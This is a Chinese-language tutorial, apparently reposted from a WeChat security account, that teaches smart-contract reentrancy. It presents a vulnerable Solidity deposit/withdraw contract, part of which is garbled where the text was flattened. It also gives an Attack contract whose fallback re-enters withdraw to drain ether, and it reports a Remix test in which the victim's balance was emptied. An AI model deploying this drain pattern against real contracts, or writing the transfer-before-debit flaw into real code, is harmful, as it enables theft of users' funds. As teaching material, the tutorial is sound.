区块链安全 | 智能合约重入漏洞

admin 2024年12月20日10:28:40评论6 views字数 2362阅读7分52秒阅读模式
本文由掌控安全学院 -   君叹 投稿

 

智能合约安全

在当今数字化浪潮汹涌澎湃的时代,区块链技术无疑是一颗耀眼的明星,正深刻地重塑着众多领域的运作模式。区块链,本质上是一种去中心化的分布式账本,它通过密码学原理确保了数据的不可篡改与安全性,使得交易信息能够在众多互不信任的节点间实现透明、可靠的记录与验证。而智能合约,则是区块链技术最具创新性与变革性的应用之一。智能合约是一种自动执行的合约条款,以代码形式部署在区块链网络之上。它犹如一位忠诚且严谨的数字化管家,一旦预设的条件被触发,就会自动且精准地执行相应的操作,无需人工干预,从而极大地提高了交易的效率与公正性,减少了人为操作可能带来的误差、欺诈以及冗长的中间环节。无论是金融领域的复杂交易、供应链管理中的物流与支付流程,还是数字资产的交易与管理等场景,智能合约都展现出了巨大的潜力与应用价值。然而,就像任何新兴且强大的技术一样,智能合约在带来便利与机遇的同时,也面临着诸多安全挑战,这些安全隐患犹如隐藏在暗处的礁石,随时可能使智能合约的应用之船触礁搁浅,因此对智能合约安全的深入探讨与研究具有极为重要的现实意义。

简单理解, 智能合约就是运行在区块链上的后端程序, 用来提供服务, 区块链技术是使互联网从web2.0时代迈向web3.0时代的技术, 而Solidity是一种高级编程语言, 在熟悉web逻辑漏洞的情况下, 只要简单入门Solidity, 再结合本教程, 就能快速入门智能合约安全的领域.

Solidity官方文档: https://docs.soliditylang.org/zh/v0.8.21/ Remix: https://remix.ethereum.org/ Remix是基于浏览器的开发Solidity的IDE.

重入攻击

重入攻击的漏洞点存在于先给钱后记帐 我们先来看一段漏洞代码

// SPDX-License-Identifier: GPL-3.0pragma solidity >=0.7.0 uint) blances; // 存钱方法 function deposit() public payable { require(msg.value > 10); blances[msg.sender] += msg.value; } // 查询余额方法 function query() public view returns (uint){ return blances[msg.sender]; } // 取钱方法 function withdraw(uint blance) public payable { require(blances[msg.sender] >= blance, "You don't have enough balance"); (bool sent, ) = msg.sender.call{value:blance}(""); // 调用 call 进行转账 if (sent) { // 判断是否转账成功 blances[msg.sender] -= blance; // 转账成功则扣除相应的余额 } }}

漏洞点就在上述代码中的withdraw方法中, 是先进行转账, 然后才扣除相应的余额 这会造成什么问题呢? 很显然开发者没有考虑到存款取款的账户也可以是智能合约 在学习过Solidity后, 我们知道, 智能合约中存在fallback方法, 用来处理当合约收到转账的情况 先来看我们的攻击代码 随后对原理进行详细讲解

contract Attack { Blan blan; bool flag; constructor(address blan_address) { blan = Blan(blan_address); } function attack() public payable { require(msg.value == 1 ether); blan.deposit{value:1 ether}(); // 存入 1eth blan.withdraw(10 ** 18); // 取出1 eth, 这里以wei为单位, 10**18 wei = 1 eth } fallback() external payable { if (!flag) { blan.withdraw(10 ** 18); flag = true; } }}

我们可以看到, 有一个 flag 值 当触发攻击函数后, 会像目标合约存入 1eth 再提取1eth 我们来看一下执行的流程图

图中箭头标注1, 2的部分是第一次访问到这块, 会跟着1走, 第二次再访问到这块, 会走2.

区块链安全 | 智能合约重入漏洞img

流程图中很明显的告诉我们 漏洞触发的原因是, 当转账给一个智能合约时 会等待该合约的 fallback() 函数执行完成后 才算这行代码执行完毕, 才会接着继续下一行代码 其中利用的像是一种递归的思想

另外此处还存在整型下溢漏洞 会将我的余额变为 2 ** 256 - 1 第一次存入后, 我的余额为1 两次取出后, 我的余额就变成了 1 - 1 - 1, 由于余额是 uint类型表示的 我的余额就会变成 2**256 -1 wei

测试:

编译时选择Solidity7版本, Solidity8中添加了当发生溢出时自动回退的功能.

区块链安全 | 智能合约重入漏洞img

部署后, 我们首先用默认用户存进去10eth

区块链安全 | 智能合约重入漏洞img
区块链安全 | 智能合约重入漏洞img
区块链安全 | 智能合约重入漏洞img

然后部署攻击合约

区块链安全 | 智能合约重入漏洞img

设置发送1eth

区块链安全 | 智能合约重入漏洞img
区块链安全 | 智能合约重入漏洞img

但是结果我们发现 对方所有eth都到了我们账户上 这是为什么呢?

区块链安全 | 智能合约重入漏洞img

仔细观察我们攻击代码中的fallback()函数 我们这里也是先触发取款, 才更改flag标记 但是第二次取款的时候, 还是会再次触发fallback函数, 这里也同样是重入漏洞的逻辑, 我们需要先更改flag标志, 再调用取款函数, 才能达到我们上述的效果, 大家可以自行尝试, 这里便不做演示.

区块链安全 | 智能合约重入漏洞img
申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

区块链安全 | 智能合约重入漏洞

 

原文始发于微信公众号(掌控安全EDU):区块链安全 | 智能合约重入漏洞

 


免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月20日10:28:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   区块链安全 | 智能合约重入漏洞https://cn-sec.com/archives/3523280.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息